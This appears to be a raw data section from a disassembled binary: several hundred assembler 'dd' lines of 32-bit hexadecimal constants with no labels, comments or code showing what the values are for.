dd 7724295Ch, 4412D4B8h, 0AF7136EBh, 0B59F84FAh, 0DCA35E3Ch
dd 55F6BF53h, 291E4BA1h, 0C3DF192h, 95C42AFBh, 0A7846AAh
dd 54C9BED0h, 10FA27DBh, 567DB9CDh, 2360587Eh, 0FDC9E89Fh
dd 7252A178h, 5AD1883Ch, 0F3D48B23h, 0DD407413h, 1ED67454h
dd 6C9C6560h, 0B651C47Ch, 42C12D9Dh, 3926D6B6h, 5F2AD3D1h
dd 77F1EAA0h, 4372007h, 5D48218h, 1533AA25h, 0DE63D9BAh
dd 0B01C9832h, 0C5D9E3BCh, 0CE42AA3Eh, 9F4AF122h, 3835E880h
dd 66DEA2BEh, 0BE312432h, 9E867311h, 0E387C4C5h, 395C8DE1h
dd 23C1CB86h, 18717C78h, 0AE9D7610h, 5261B9F7h, 0CAE5D1DDh
dd 0BD086725h, 86AE32E0h, 36733A60h, 0D6D11A6Ah, 5167A2A0h
dd 9FBEDA0Ch, 58E34E67h, 0E0B71BB7h, 942D9203h, 0C43378D2h
dd 44B705FFh, 69BB773Ah, 0C2FCB9DDh, 830177CEh, 70F7B609h
dd 99D624Bh, 1ED6633Ah, 7C72309Dh, 0C82CF76Ch, 80938A20h
dd 85B2D95Fh, 36F0FDFDh, 1009CF75h, 98353C55h, 932D4D81h
dd 6A911262h, 0BE75D6B4h, 93B0FDC3h, 2E670923h, 19B8EEF4h
dd 8D5464F1h, 0ECB7D95Ch, 8E2B0A2h, 86B588B7h, 73A3F1Bh
dd 89701557h, 8E61E3DDh, 4708AA09h, 80BB8A4Dh, 3D086B8Bh
dd 74D99E5Bh, 736D0580h, 0D591A6C7h, 695B709Fh, 51ECD0C4h
dd 0F633A49Bh, 0EE40C116h, 404009A7h, 89D201CAh, 487E0610h
dd 1366402Bh, 0F05386Fh, 15184AB1h, 68D85A14h, 7B5A6FFAh
dd 3DB54AB2h, 0C2756062h, 6254215Ch, 0BDB5E63Dh, 403086C6h
dd 87966A85h, 30BFC286h, 9A6F414Ch, 18CF9853h, 36CD95A2h
dd 0C14CE21Fh, 0D9ECE8D4h, 9B0F736Dh, 0DB214A92h, 71BDB203h
dd 77E3D661h, 12A3BC8Eh, 6A3D3BF2h, 74D466B1h, 0C21467E1h
dd 668670DBh, 47D5999Eh, 1A00EDBCh, 2E8F3515h, 74EAF2FFh
dd 0B243613Ch, 8CC88FF9h, 0B22ECDB0h, 21E4BFB3h, 0A704C298h
dd 0FD46096Ah, 967EAEBh, 0F00D6C2h, 308177Dh, 7D0690C5h
dd 0A1B4E39Ch, 0A3D7FA4Ch, 7B4B47B0h, 5810205Ch, 9E50A76Ch
dd 0F5B6F73Dh, 0CB0CDB4Fh, 77064653h, 2FD60556h, 76005008h
dd 0D97025D2h, 0A7943661h, 0C575C051h, 93D13841h, 0D39883EEh
dd 0DD903D62h, 8FB265F7h, 0B9B323FAh, 0F569F791h, 5583D7CFh
dd 4024AA6Ah, 0FCA99A27h, 0A353904Ah, 75050D44h, 590B16B5h
dd 0DF845A13h, 0CFA957B1h, 1ED12882h, 7D12FE97h, 0BDA853C5h
dd 4BF1E1B9h, 493B3B05h, 5C8FA2CBh, 0C6016481h, 2D6BF024h
dd 93F5BE79h, 0BB912223h, 0EB82AAA0h, 0A7EDA67Eh, 4F5048B5h
dd 8E49C1FFh, 7B9BCC65h, 60901B68h, 0AF276DB7h, 0EB470C58h
dd 8F9DE068h, 1A060DFh, 0E6EBA2C1h, 8EF8893Ah, 0DADF0828h
dd 16B0AD2Ch, 3F64B058h, 8826CFEDh, 2F302962h, 32223410h
dd 53B18209h, 0A8F3154Dh, 7934A759h, 507EF085h, 200BDEFBh
dd 0E33882B2h, 5625EDD1h, 0A229BF5Dh, 1AC1EB71h, 2CFA060Bh
dd 8D6AAAE8h, 34C76D30h, 14FCA626h, 0F5FAF64h, 67E86A29h
dd 35775741h, 4B5183C2h, 107A6D96h, 114C0053h, 0E721CC06h
dd 0E429EB50h, 97F555DFh, 13286E98h, 0BAF297AAh, 61C552B7h
dd 993E1248h, 0F4DB8EB8h, 0E2BC6835h, 0DACDBD46h, 0B9F354B9h
dd 0BC10A848h, 0E4EAB151h, 0D804CB97h, 0CFB64AC4h, 9E1841Bh
dd 42D5C1F1h, 71E6123Eh, 5244B8BCh, 0A851148Ch, 4B28876Ch
dd 0C96671F7h, 0DD17EF86h, 97FE766Fh, 0D65F13E1h, 0F0331EC5h
dd 2FC7073Ch, 884116C8h, 994A15DAh, 7B4AAF5Ch, 55415899h
dd 11505EA9h, 0DFCECBDFh, 5784DEBCh, 2FC32EAEh, 6B530FD4h
dd 0E3A0C576h, 0D692A4F2h, 0C6EFAE42h, 137482CEh, 40B04E37h
dd 0C3022717h, 0E007822Fh, 0DF0EE729h, 0DDD2F4FCh, 33C6898Eh
dd 0E9822081h, 43E403B8h, 0EF767619h, 0B07D8BA8h, 4865E98Ah
dd 4BEAFF10h, 0DB37466Ah, 0C5FEBD19h, 9AB3173Bh, 263A355Dh
dd 0A59ABB99h, 5F766897h, 2A21A76h, 9ABD7296h, 58351CFEh
dd 272100C8h, 0D9E40AF4h, 17C1E734h, 0B5E8CB1Ah, 7B060064h
dd 0B77138A0h, 2684AD24h
dd 16AF9C64h, 0DE2923B3h, 9F8E809h, 2485F7F0h, 238A7771h
dd 3F3B665Fh, 0DEB74B13h, 8A2CFB1Eh, 6D394B4h, 548E061Ah
dd 51029D2Eh, 40C77B2Fh, 97318B6Dh, 0E73AB95Ch, 5D9F1A93h
dd 874B87B4h, 19F9DD02h, 0B16DA0D1h, 6D4D16F1h, 0C0A9C295h
dd 0AA6D4149h, 0BF776593h, 747D40D4h, 5CFDB2B7h, 64257ABBh
dd 2D5BC913h, 21AF794Eh, 0C0F96FF9h, 8027658Dh, 86C23Dh
dd 0EA59F0D8h, 594D7484h, 238746B1h, 6336309Dh, 81101A8Ah
dd 0C510B5C4h, 68E71202h, 0BAB4657Ah, 0C1FF841Ch, 0DA336873h
dd 394F9F5Fh, 418ACCCCh, 0DBF0F42Eh, 96974E3Ch, 944CA1C1h
dd 4CCDF96h, 1B3D27A0h, 0A98EA345h, 1D29F9Dh, 66AC7F57h
dd 0B59CF9FCh, 0ED1EE83Bh, 0D7767FF3h, 9FA96C3Ah, 0BFE55B64h
dd 0FB77B4h, 0F4B51569h, 52278F10h, 2AF93C22h, 0B3DD8745h
dd 0B70C0A6Dh, 15862196h, 0C1B936AFh, 1D74EE4h, 0C7B38C2Ch
dd 27625FE1h, 85F21912h, 0B4E8B1A0h, 72F27FFEh, 9AB06EA8h
dd 5F489CEh, 6AA87B95h, 0F2A64F90h, 0C94F9960h, 3316C3C0h
dd 3A2138CBh, 234E8107h, 645D56CEh, 0DFC89219h, 91B00837h
dd 420D49AFh, 59760B2Ah, 0E195F552h, 0F918E073h, 214AED8Dh
dd 6FFC3232h, 250ED21Eh, 4AAEB920h, 27FC0659h, 0B3DDC777h
dd 178E1DF6h, 1153AA11h, 0C10CA208h, 5104DADBh, 337AB490h
dd 6D82A34Dh, 80AAC0A8h, 0B04AC6EFh, 519896h, 109D159Fh
dd 85AAD951h, 777855DBh, 941436A8h, 78B450E1h, 3C73D606h
dd 29F21EC2h, 4CD0E51Eh, 901859B2h, 4DAC6718h, 6B4666B5h
dd 1D90D6BAh, 0F4D181C0h, 0B38179B8h, 0FE47C17h, 0A1EEF91Dh
dd 3AE2A788h, 72FFD595h, 744C3F16h, 4029737Eh, 0FAF235A8h
dd 0F8F1A3ACh, 0D3BD6A88h, 95591F81h, 44F2EC97h, 914BF37h
dd 74CBC3A9h, 0BDBACA2Eh, 0F52DFCD1h, 0D0AE20E2h, 0D1B25693h
dd 84610C1Eh, 898F7224h, 72E4D2F0h, 122773B7h, 0A694A0EEh
dd 58E2958Bh, 64C67D40h, 758138AEh, 96FF59E4h, 0F6BDF0F1h
dd 0E9C699C8h, 8751A6A9h, 3DC8FB4Bh, 1FD4EABAh, 0AAF249DBh
dd 795853E5h, 2ED54E19h, 813C7C24h, 5205DC8Ah, 82C8B8AEh
dd 405C9065h, 25F2994Bh, 28804C40h, 0A976EB31h, 0B571B2DEh
dd 0F4A0D729h, 348DDE14h, 0BA57DC45h, 0D545E41Eh, 3249DD3Bh
dd 7C3749A3h, 13ED4D00h, 0A106630Eh, 9D2EED25h, 0A8809270h
dd 1B23DC93h, 6B198225h, 4EDD1FAEh, 0D61A66DAh, 8EBBC999h
dd 3B39169Ah, 585E17F6h, 6272DAF0h, 1CD0AE83h, 868F5130h
dd 3BBDA60Ah, 433DEC62h, 86860F47h, 16FFA55Ch, 75F529A5h
dd 186DD54Dh, 973EDC36h, 5E0EE463h, 283C98B4h, 0E1C5DD34h
dd 18CEEF47h, 202E26ADh, 0DE5A05ABh, 0AA5E6542h, 444F98A0h
dd 4129D740h, 0BDDA8DF7h, 55C4BEDh, 0F15A0435h, 0A8C1F709h
dd 0BF47173Eh, 4FFE82FEh, 7623BA5Dh, 3CB39D39h, 2C3FF234h
dd 99FA2859h, 0A74896F1h, 29B97093h, 452B5A2Eh, 18C35A16h
dd 0A6783E46h, 0F6D07AEBh, 0D3BE9DC1h, 4215ECE2h, 2A658B46h
dd 1B1AE621h, 20DC1EB6h, 0F9B5D583h, 5CEB4D1Ch, 0F82971A4h
dd 0D3760753h, 0B585DC56h, 0C7A620D8h, 85AD6D71h, 0E451A033h
dd 396EC704h, 9E51EF1Fh, 0C9F49BEh, 117FEECDh, 93AFED1Bh
dd 54BFE1AAh, 67112BEFh, 9A66D988h, 75CBBE9h, 32F8D8DBh
dd 5939CC2Bh, 0AFAB762Ch, 59795860h, 0F3BE42B2h, 9FD4BC81h
dd 758F959Eh, 1CF7F7ABh, 9CF1D0E4h, 0DA93FA59h, 4080F00h
dd 956A7EF7h, 985695F1h, 0D9B4B992h, 21D897E8h, 30E8327Fh
dd 0B478E1C1h, 6CD241D7h, 9CAA529h, 0E66DD07Ch, 0DF2786D4h
dd 9C4E6780h, 0E054D8Bh, 4238795Eh, 5D38046Ch, 18A9A6D1h
dd 0DE0C5BAFh, 994806Eh, 3781FFFBh, 0F97C4A52h, 0FDC0498h
dd 9EE0AD33h, 2964E96Ch, 359F260Eh, 0AB61164Dh, 0F928BFEh
dd 5BFBA265h, 99B52C38h, 0D6A36A9Fh, 3655D4F5h, 0AAA32D83h
dd 0CCAD8F6h, 81C19EF9h, 0B8A482ABh, 7622CC61h, 0E0A05F1Fh
dd 5D00B235h, 0F6F999DFh, 19C80AEAh, 6957C14Ah, 19715E95h
dd 1242EDC4h, 3918C79Bh, 8C9C65EDh, 78EBCC6Dh, 7B3D477Bh
dd 0FC946B41h, 4EAD18C8h, 0E56F1D2Eh, 0A0F3FCEAh, 0DA6DA2F4h
dd 15F81222h, 0A0034ECEh, 46C0C94Ch, 51EC30C3h, 452DB480h
dd 67A7BC65h, 3E657FF7h, 93414AABh, 0FDE981B5h, 6CE57847h
dd 98AD023Ch, 6B57CF7Ah, 0CF84E153h, 15C48935h, 122F277Eh
dd 0F394136Eh, 0A761D5E3h, 219737C3h, 0CB56D368h, 835D9C21h
dd 64F62A1Ch, 7FD5D129h, 6803EDE3h, 0DB8BFC91h, 7E369666h
dd 5B141F7h, 14CB51A7h, 0DE9F5C99h, 0CB406A7h, 7F11DB6Bh
dd 9C62300h, 60DF44C1h, 0D237C52h, 0AD8E5693h, 0D36CCCC9h
dd 0ECC91E52h, 4F59C9D5h, 56D5B83Dh, 0C2E36CE3h, 0C53B8995h
dd 0BA11FD6Dh, 0E9A9AE08h, 6FB79D29h, 1F5AF732h, 0BB3139D6h
dd 0F4A41B08h, 3EEA42DEh, 0BD233751h, 0D3D85E59h, 3C3003C0h
dd 1A894B47h, 4542308Ch, 0F4798B67h, 0F7DC71C2h, 3364D75h
dd 0D47D2272h, 0DF4D469h, 848747F3h, 0BF87713Ch, 966F17A1h
dd 1FF20250h, 25F3161Bh, 0B03FDA7Fh, 0FF8D72B9h, 4DEE6709h
dd 517C1FDBh, 0C5B57BEBh, 0A51FDB61h, 78D5566Fh, 0EB218359h
dd 0D50A9629h, 3298C713h, 1512AB57h, 0D7FE1F06h, 7CA0CBC1h
dd 3BCFA935h, 0B45EF846h, 0D73CE3A6h, 0A264FB64h, 0CD41C0D8h
dd 281D934Eh, 79B0467h, 1EE6258Eh, 1120CA8Ah, 0C307CD2Bh
dd 0B4D31C61h, 52F7C033h, 0CE5303F9h, 0D028F6AEh, 3172AA82h
dd 70898D0Ah, 22AF329Ah, 0C34003EAh, 0ACA1EFB5h, 0EB52E7A0h
dd 9519F560h, 68B556B1h, 5B432822h, 91F4642Ch, 56D0E48Ah
dd 0EBCB6A68h, 0CC13F97Fh, 2E84D1E4h, 32D77E23h, 424F02EAh
dd 42CFA2D3h, 0DB869C69h, 15B0C8F9h, 0A55B886Bh, 8F72787Dh
dd 920F3026h, 656252B3h, 13FC0A7Ah, 1FF5DB93h, 29E1A0E8h
dd 0D09B68E6h, 0B7670A43h, 952D2DA9h, 0B2DF0DFFh, 41F3BDCAh
dd 74162ADEh, 70149A5Eh, 8ABEC5D5h, 0F5CDB510h, 3211A515h
dd 0DF6B5F00h, 60724A0Bh, 9377B976h, 78A3F8BFh, 0B0FC0452h
dd 0FB752115h, 0D113B10h, 2F8163D7h, 205E2C25h, 0F8AFA8F0h
dd 0D3072113h, 0B118FA8Ch, 0F120B372h, 5440055Bh, 5B916392h
dd 0E8269982h, 0C6EBB062h, 5278BB83h, 0F978CA79h, 0D4312A9Fh
dd 3198BF14h, 0FCF3E869h, 0D3CDD7D0h, 0CA8FB7BAh, 557BB125h
dd 0CBD40EF3h, 99ACFB1Ch, 4B7AFF17h, 0B41CB8C6h, 7C8E0A7Fh
dd 0BCBCE5EBh, 1BA98645h, 22B81F99h, 0D37E2FA8h, 0D9194E03h
dd 0C8CAD3Dh, 7E4DD55Fh, 0C8E698AAh, 731CA0D2h, 5C54FF21h
dd 427C2C29h, 57A3AB2Bh, 1A9C2B6Fh, 8F227F03h, 0A2459F5h
dd 3AFFADE2h, 87DB8BB6h, 76EF0A09h, 9796CA52h, 52D87866h
dd 8B7CBDD9h, 457E760Fh, 1BBF3EBEh, 0A14669Ah, 15D991D9h
dd 72DE1665h, 0B599DEA5h, 0ADB6810Dh, 0F6ADF6F7h, 645C2209h
dd 668A1168h, 31EC6D4Dh, 0EDDF43C4h, 0FA98A028h, 5B9CC493h
dd 0A9DD17FDh, 35064602h, 80B44A23h, 798A7376h, 0CE46BDC3h
dd 45C73E5h, 0F05F8297h, 0B7A976C5h, 0FBB1CA3Dh, 9E511E99h
dd 7E78853Fh, 1B4179E1h, 91D721DAh, 0F8D88831h, 0EDE0500Ch
dd 5D31DE6Bh, 0D4B29DDFh, 6994C7EAh, 5FE3C782h, 102963F3h
dd 0E20FB9BDh, 23E653D1h, 0BB45AAC1h, 130DF105h, 0D5CEF267h
dd 224A2F33h, 99CF7A34h, 0E04DFDBAh, 92A5183Bh, 0F3D389D5h
dd 0D48FCD12h, 75ABB657h
dd 3BC43C5Fh, 1ACDC9FFh, 0C3487752h, 0EDD74690h, 4DA70B20h
dd 0B49D2507h, 0D6E99502h, 612CEDB6h, 216A6527h, 7F59A3FCh
dd 0A0FFB53h, 8D29C6C2h, 0C2326E4Eh, 0EF86BD7Dh, 75C871F9h
dd 0D2CDF9CBh, 0B7A5B346h, 0AAC7E9Ch, 0AA9F858h, 2DF3EDA9h
dd 3C6752DEh, 67EDABD5h, 0B0829E70h, 0AC3F2BA8h, 0FD45B5A8h
dd 0D861D710h, 52AFE85Fh, 884D7573h, 69EE7899h, 0EFB9EEE3h
dd 0E6D32A35h, 3C1B6F90h, 91A190B1h, 841E6A17h, 37CF2E5Ch
dd 0BB28B44Bh, 0DD5D0B4Ah, 0B9296AA9h, 4C8E4234h, 61100E1Eh
dd 0D749D391h, 6F2CAE6Fh, 2F5B721h, 0B6D7FA0Eh, 48A97D15h
dd 0D1BE310Ch, 0A9766D54h, 6107D096h, 3B6651BBh, 0DA7E9537h
dd 2F002107h, 89C45284h, 53B18763h, 719014FBh, 558D21CCh
dd 115D4EBDh, 9465E13Dh, 0CBA931ECh, 0F6D5B368h, 8E9472ADh
dd 0C0207147h, 31BC4E65h, 31DD0DE1h, 49670B02h, 98FEBC4Ah
dd 8FB35F9Ah, 0A2FD17FFh, 0EAC71F69h, 15E31FF1h, 59F8EFA9h
dd 1C221EF3h, 0B7C28DB1h, 483CDE26h, 6829B257h, 4EE69A20h
dd 61AD7C6Dh, 0A2A31DA0h, 240D1F07h, 0E1CA7BECh, 48A5C6EEh
dd 378C2710h, 0AF420F86h, 4ED93335h, 84305C3Fh, 83730615h
dd 0D3D93400h, 8D13B1DEh, 9D7AC2B9h, 0D77D5935h, 0CDA58D16h
dd 0EEC67C2Ah, 880D1C85h, 0DA76CE6Dh, 0A16D12Bh, 2922C728h
dd 0F5003715h, 0DE61E349h, 86ADF91h, 8B1E1B57h, 1ADA945Ah
dd 0CBAC4BEEh, 51CE6A88h, 4B31D094h, 2A3ACB17h, 5FDC619Fh
dd 0A4240A62h, 0A81F567Ch, 8BACBD33h, 10950535h, 0F4131F7Fh
dd 0BD6524B9h, 0E52BC946h, 0C418DA02h, 61172591h, 0AE528DACh
dd 9E9A3ECAh, 0E1D964B3h, 0DEB9EB84h, 779D7BA1h, 44697F9Bh
dd 912727h, 0F8AA50EAh, 5D68F6CCh, 5FDFE268h, 0C1368C1h
dd 0F5AD2D16h, 0B5EC30EBh, 3662C7C8h, 0E39C1F28h, 8C5333DBh
dd 9BCF58C6h, 0D6976E25h, 0E742748Bh, 0C211FF32h, 0AC719223h
dd 89F7DAA0h, 5869B8C6h, 60322E74h, 0B22DF31Dh, 8222325Dh
dd 0A0324151h, 9563CF25h, 19696D8Fh, 1AAE9702h, 288F34Bh
dd 7CEBE227h, 0ED1A78AFh, 0A329B18h, 0A8D44DCEh, 0C2C5AE99h
dd 9FDB1B81h, 3B70C17Dh, 96C9BC3Eh, 0C7FD8736h, 5A3C1036h
dd 605758FDh, 0C20FC23Ch, 4BF6EC0Fh, 0B6433BB7h, 77C49373h
dd 22FCFEDDh, 0D51AD16Eh, 0AF61A89Ah, 933C9065h, 0D903C5DDh
dd 0FABE8772h, 0B3303E12h, 49680D40h, 49054CD2h, 0C93DEC98h
dd 16760028h, 12120713h, 0A4845614h, 0B180FB7Fh, 3F446504h
dd 15B42C92h, 0BAE083ADh, 0A5162A55h, 79B911B1h, 3594D625h
dd 46F1989h, 0BE8FFFECh, 9E1FA551h, 0E358AFA8h, 0A1119D54h
dd 0CD2EE065h, 70D474D2h, 5E0295F4h, 3F50B7B4h, 6774A958h
dd 558FCC4Dh, 7D57352Fh, 80EF783Ah, 48852ED3h, 0F963ACA9h
dd 6356119Bh, 0BBCF8F02h, 6BC998FFh, 0BD23B25Ah, 0D9F825CDh
dd 65E72BEFh, 35DBF437h, 0F443D7E4h, 8CA793D5h, 2D450079h
dd 0A8A9FE16h, 75D46DCCh, 0F94FE3BBh, 40FE651Ch, 0A17B4B35h
dd 0F93E1902h, 5EE1F87Ch, 0CF4D37F3h, 2CF14A10h, 54EB2F71h
dd 3C7E7DBBh, 0B7CAA002h, 0ACF7CB9h, 17656FE0h, 38BFCCF1h
dd 0B9E3EFBh, 0ACD961EDh, 0D61AEE65h, 391AFD42h, 0EAC4DF3Dh
dd 0DD770239h, 4FF48BEFh, 46869340h, 0BB025583h, 0FFAC4C23h
dd 0A7611EABh, 3197511h, 184E8584h, 6DEF63B8h, 0D50FA518h
dd 16481FCFh, 15F6995Fh, 0AE474F9Bh, 9BDA1CE8h, 276F8187h
dd 273FEC6Bh, 0EC0D07A1h, 402E68A0h, 0E2F315B0h, 0D6BC2CF1h
dd 8844764h, 9925220Dh, 0C338B0E7h, 996A93BAh, 0A805B5ACh
dd 5986B308h, 91CC825Eh, 4E50C311h, 0DA6635A8h, 154CE429h
dd 8B401EA2h, 1B5DB6B0h, 121DE99Ch, 0DFE3D4F5h, 6C50D7B4h
dd 0EC2F1786h, 0BECC8827h, 8BD8A230h, 0F4F5C2BAh, 2800BD5Ch
dd 1CCC603Bh, 41B8CEADh, 17F65C42h, 91DF667Eh, 0F51E9F9Ch
dd 0AE24F374h, 0F8D0DEC8h, 0A13AA4CEh, 20646D7Eh, 1BC9993Dh
dd 36B78829h, 0BCB75B1Fh, 0CD1FA80Dh, 88658B85h, 82C6E606h
dd 0FB2F5F85h, 85F21EDEh, 0F7228F59h, 0F21F13C1h, 52E49004h
dd 5D5EBFC2h, 90FBD4Dh, 824C41D7h, 0AD9B60A7h, 1006F325h
dd 735B731Fh, 8A218FDAh, 0F50937B4h, 0FB97B9C2h, 6BB33E5Eh
dd 0CDBAC63h, 7E48A3EAh, 55E9D59h, 0FFA9DE5Ah, 452D52B1h
dd 8529D8C7h, 3CE1FBE8h, 7C340188h, 0B6C1B18Fh, 8EAC30B6h
dd 0E29DB5E0h, 0B06C5D09h, 5311297Eh, 63478771h, 23D76593h
dd 0C58EDFD5h, 86E7ACA9h, 5227D379h, 75481154h, 6C3FEA45h
dd 73F18FC3h, 570C842Ah, 6294B0DAh, 2B6F6709h, 29C31085h
dd 7D2C1586h, 2682F339h, 0B4183636h, 27F0F835h, 3F1B54F0h
dd 0E02444F1h, 4E744619h, 8AE4F154h, 857963ECh, 0C928082Bh
dd 46D1D067h, 575592F4h, 73842276h, 0A699EE21h, 2FEB16B2h
dd 3A3ABAEAh, 0B37680E5h, 0F3D4F73Dh, 0F5754784h, 0CAB66835h
dd 6C590050h, 0D32F7964h, 0D3DFBB18h, 0B5CB6Dh, 9AA95224h
dd 0A2A3CDC6h, 0D676F70Fh, 40320F2Dh, 3B9F367Eh, 922AADBEh
dd 0E6B225E1h, 7122827Ch, 84A06644h, 910A0837h, 40F32CD1h
dd 0B0273881h, 0DA7861B8h, 0E5B17D85h, 9E34B81Ch, 4115C27Ah
dd 74BD77F7h, 29D655DCh, 0E3077187h, 0B4724A29h, 9D771E99h
dd 36396A54h, 11116A24h, 0D6B26541h, 91386F27h, 356FB181h
dd 524BDAA0h, 246C1CF1h, 20465E0Fh, 0A7C9858Ch, 0E208D66Dh
dd 69E6A594h, 0E74377ACh, 0A92FFAA4h, 3DD11032h, 0AC860471h
dd 25EF7AC1h, 0BB12D3E8h, 0DEFB2A2Ch, 0E2F4E20Eh, 0E24261FEh
dd 2914C258h, 0BC826D39h, 35E502A0h, 8CF93F7Eh, 963DA596h
dd 0E0A28862h, 32B018DAh, 7D8FFB53h, 0FFF44720h, 0A2F8EC65h
dd 0AA68437Ah, 560754B3h, 7A19E1E2h, 8AB5FC7h, 0F5C4CA61h
dd 0A58448A1h, 823C7B53h, 0E3E45660h, 7B6AD68Dh, 60FDED09h
dd 0EF840B25h, 5C793B7Eh, 6D337317h, 1F6BC315h, 0A751BBB6h
dd 70F62F66h, 0BF730706h, 55AE288Bh, 0F109BC67h, 39A303E9h
dd 0ADDB3391h, 48D8986Ah, 0EEBFA5Eh, 33407113h, 292F94BAh
dd 23A42B1Eh, 626EEC3Ch, 1017ECFAh, 4C69F6C7h, 0DE3D5457h
dd 626D908Eh, 2F2C2CD4h, 7C796A48h, 905D72B5h, 0A7BC81B6h
dd 3B430E2Dh, 1ABD52h, 0F4270421h, 5B4A7C8Fh, 7615F216h
dd 8500BC7Dh, 461476B2h, 2E5ED1BDh, 0E110C835h, 0AA929545h
dd 0F85AC9EDh, 0A0F64D7Ch, 0D61211DBh, 36B53262h, 0E0DF1E38h
dd 8FA0AF23h, 93A419E8h, 7DF7C303h, 0D3F6C4BFh, 0ACA9A19Eh
dd 0C8B139FCh, 0D71F8B8Dh, 7791672Bh, 8B467615h, 0D6FBD5C9h
dd 540C8128h, 301A955h, 24964668h, 0FD79EDFBh, 0D3069315h
dd 1ACF93ACh, 2B451AEEh, 367A92D2h, 0CA0F2D34h, 8403AD99h
dd 15871332h, 0D000E7Ch, 704CF31Dh, 0D36E66EAh, 0DB576498h
dd 883D58C3h, 43AC2B75h, 669EE1B9h, 0F7F68A78h, 0B4AAE879h
dd 0A3F5148Fh, 2C44FC4Eh, 0E161B78h, 457EB47h, 696B33FEh
dd 73FF023Fh, 24750E52h, 7312DFFCh, 948BC3Eh, 0A6B1FEC5h
dd 0B81D890Ah, 0DE18275h, 0D2F4A544h, 54CFD578h, 0C54DA093h
dd 66D1C2D7h, 24EDE5DFh, 0B4FF4E71h, 0A52F6A63h, 3CC69596h
dd 4076E733h, 0DD7F6E64h, 7F9B96Dh, 16232495h, 0FF7E1370h
dd 0D09D78DAh, 3FCDB012h, 0C01532E7h, 0B219F06Ah, 476AB78h
dd 9AA5010Dh, 849E8AFBh, 771BC93Eh, 0F1D1A922h, 0F2A6ACE7h
dd 6C191D41h, 2E319201h
dd 0FA219B1h, 0B0F006D2h, 77EA8027h, 3B122071h, 2C422361h
dd 48390A9Dh, 5F80E42Ah, 6C71FA2h, 0B333CBCCh, 8D249A58h
dd 0DD944FADh, 16562426h, 3858DB9Fh, 7A2959D9h, 316E9021h
dd 50A5213Bh, 85ED722Bh, 0E695D300h, 99A8B689h, 1B7E075Fh
dd 650591C5h, 0E0D65589h, 615CC584h, 0C88289FDh, 52248833h
dd 2284A4A7h, 7108E5A1h, 4B94B110h, 0FB6C622Bh, 0BB94C92Ch
dd 5AF5B1B5h, 440DB63Dh, 37FBF872h, 5EF25BDDh, 0CA255DAFh
dd 0B7A5E5DCh, 7D96B44Ah, 39B3769Bh, 4F6C181Eh, 637EA528h
dd 0DACD87FBh, 33BF41BFh, 0ACB29BBBh, 0C295EE97h, 60261148h
dd 0E9CB90D8h, 0EBA51C58h, 7E8E983Bh, 9FE5FB35h, 1D40A719h
dd 99DF10C7h, 8E112502h, 248A302Ah, 0D0140F0Dh, 2AE6137Bh
dd 0BB9B70DFh, 3EDD0011h, 568EE6C4h, 0FECCF4FAh, 72D4360Bh
dd 0FA52388Ch, 141E8951h, 8EF69851h, 80E79A43h, 17B1C1FDh
dd 0F2AC564Dh, 0F9E3CEB6h, 0B237CFC5h, 0BA775FE9h, 0E3B26AFBh
dd 0F79A0439h, 388F93Ah, 961F0CA5h, 5B6FCCDDh, 4EC93ED2h
dd 0E965DBA6h, 0B12ADDABh, 0CC300CCFh, 71BA5AF6h, 0CC5146B5h
dd 33A90BC8h, 0C1F6376Eh, 0E2FA59CCh, 0DE1FC953h, 68C018C5h
dd 13148E06h, 0CCDB37EAh, 5A195184h, 0E2C00AEBh, 0C66A415Eh
dd 6FB772CDh, 51A30344h, 83086465h, 0A67A377Dh, 70E74A73h
dd 0B6BD9EE3h, 0A1C00D73h, 90288525h, 6F995295h, 46F68AA7h
dd 0C4134A97h, 76A01700h, 0D2D2D941h, 5DF84F25h, 0AA798224h
dd 43FCE23Dh, 7B4DF610h, 8B48BEB2h, 0F1C4B5F2h, 0ABAED888h
dd 104EC9CEh, 148186D0h, 0D8CD4C47h, 0E3C5BC97h, 2541C875h
dd 0DAC41AD2h, 42F7329Bh, 4F346B5Ch, 3C545CEEh, 0D2923C1Eh
dd 0C6A03739h, 0E4F30B64h, 28A7D56Eh, 7AB20367h, 56E9EF51h
dd 50DF2379h, 406D01C0h, 4BC6AC0Ah, 0A5BB46D4h, 91FFCF9Dh
dd 5BD6AB73h, 3D757A79h, 42EABF45h, 62A0C8E1h, 161FD03Eh
dd 4543930Dh, 55B14FF5h, 278DFD5Ah, 5026E6CEh, 7D7CA140h
dd 0BFDCD4D0h, 452BEF2Ah, 232E2F3h, 0D547C37h, 624A70DDh
dd 0A4809316h, 5DFE2404h, 0B8194782h, 9E14D2D0h, 4687028Fh
dd 0F45D149Eh, 0B1BC130Eh, 5420A853h, 5FDCAAE6h, 6645A0D9h
dd 981F30B2h, 0D6C16506h, 0F28DBAE4h, 9FCDCB6Dh, 36785EFDh
dd 0B84F2F57h, 0E373BA77h, 2014B81Ch, 0EF9A0708h, 397B911h
dd 6F58B498h, 0F6FF2F1Ch, 0FD1046A8h, 2EA842D4h, 7DDCCC96h
dd 9D2179E2h, 83619FCEh, 0B371A9A1h, 37598452h, 3E72DB81h
dd 56D46E3Dh, 4CD8FFD5h, 0D3426282h, 0E78BB8D0h, 3432D13Dh
dd 722F7C1Ah, 48D29AD2h, 523C3FE7h, 0F9FFBD6Eh, 0F2E578F3h
dd 0CB677E41h, 44DB3AC2h, 0D3F4E051h, 0E2D0A7BDh, 841CB133h
dd 0BCFE3425h, 7C175B64h, 24C8A3A8h, 0B45806FCh, 4DFB3FC4h
dd 1705D33Fh, 0EDDA38F1h, 4323111Ah, 4F89E56Fh, 8FF3B91Ch
dd 0C623ABA8h, 746DB0A6h, 0D2B8ADBFh, 0B3D4B42Fh, 0FFE8F20Ch
dd 0CD734426h, 6428D851h, 8D94915Ah, 5777175Fh, 0B8C27AD0h
dd 1B4DC6E9h, 0DCDD9257h, 0EF369F7Eh, 0D50CFC5Fh, 0A7E1AF42h
dd 0BAE8B539h, 0AAA3B898h, 9919759Ch, 0C1E670DEh, 0D346EA22h
dd 2F2BCD92h, 0B41D667Fh, 0A0E5E400h, 6EC56D41h, 8B295213h
dd 0C7947074h, 0B58075E8h, 0DBAD1FAFh, 0F5E5FF56h, 81EEC669h
dd 57973102h, 0D363D725h, 0EEEEC396h, 23080775h, 0A6E53FEAh
dd 0EE7CEB99h, 0C83AE2B8h, 58C969DFh, 3AB5E3ACh, 0D41C7FDDh
dd 7A01BFE3h, 5B61715h, 0E8DDFBCh, 15C58FA8h, 6D9CA0DDh
dd 0DEE022C0h, 0A813FCBAh, 4C22B2AFh, 8B1257A0h, 16C97703h
dd 6FBF6234h, 76C9ABB4h, 20400BC5h, 65514163h, 962E110Ch
